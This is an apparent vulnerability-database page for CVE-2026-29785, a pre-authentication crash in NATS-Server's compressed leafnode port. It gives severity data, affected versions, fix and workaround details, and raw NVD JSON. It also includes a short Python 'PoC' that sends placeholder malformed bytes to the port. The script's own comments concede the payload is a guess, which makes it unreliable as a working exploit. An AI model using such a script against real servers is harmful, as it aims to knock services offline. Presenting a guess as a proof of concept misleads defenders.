Security Vulnerability Report
中文
CVE-2026-29785 CVSS 7.5 HIGH

CVE-2026-29785

Published: 2026-03-25 20:16:30
Last Modified: 2026-03-26 17:13:32

Description

NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Prior to versions 2.11.14 and 2.12.5, if the nats-server has the "leafnode" configuration enabled (not default), then anyone who can connect can crash the nats-server by triggering a panic. This happens pre-authentication and requires that compression be enabled (which it is, by default, when leafnodes are used). Versions 2.11.14 and 2.12.5 contain a fix. As a workaround, disable compression on the leafnode port.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:* - VULNERABLE
NATS-Server < 2.11.14
NATS-Server < 2.12.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # PoC for CVE-2026-29785 # This script attempts to trigger the panic by connecting to the leafnode port. # Note: Specific payload bytes may vary based on the compression implementation details. def exploit_poc(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Sending malformed data to trigger the panic # Leafnodes usually expect specific protocol INFO, sending garbage or partial headers might trigger the bug payload = b"\x00\x00\x00\x00MALFORMED_COMPRESSION_DATA" s.send(payload) print("[+] Payload sent. Check if server crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details exploit_poc("127.0.0.1", 7422) # Default leafnode port might vary

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29785", "sourceIdentifier": "[email protected]", "published": "2026-03-25T20:16:30.373", "lastModified": "2026-03-26T17:13:31.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Prior to versions 2.11.14 and 2.12.5, if the nats-server has the \"leafnode\" configuration enabled (not default), then anyone who can connect can crash the nats-server by triggering a panic. This happens pre-authentication and requires that compression be enabled (which it is, by default, when leafnodes are used). Versions 2.11.14 and 2.12.5 contain a fix. As a workaround, disable compression on the leafnode port."}, {"lang": "es", "value": "NATS-Server es un servidor de alto rendimiento para NATS.io, un sistema de mensajería nativo de la nube y del borde. Antes de las versiones 2.11.14 y 2.12.5, si el nats-server tiene la configuración 'leafnode' habilitada (no predeterminada), entonces cualquiera que pueda conectarse puede bloquear el nats-server al desencadenar un pánico. Esto ocurre antes de la autenticación y requiere que la compresión esté habilitada (lo cual está habilitado, por defecto, cuando se usan leafnodes). Las versiones 2.11.14 y 2.12.5 contienen una corrección. Como solución alternativa, deshabilite la compresión en el puerto leafnode."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.14", "matchCriteriaId": "4AC9CDDF-79F4-406A-8BD9-B19953A76A4F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.12.0", "versionEndExcluding": "2.12.5", "matchCriteriaId": "B141DA72-3502-4746-A246-EE1087C993F4"}]}]}], "references": [{"url": "https://advisories.nats.io/CVE/secnote-2026-04.txt", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nats-io/nats-server/commit/a1488de6f2ba6e666aef0f9cce0016f7f167d6a8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nats-io/nats-server/security/advisories/GHSA-52jh-2xxh-pwh6", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}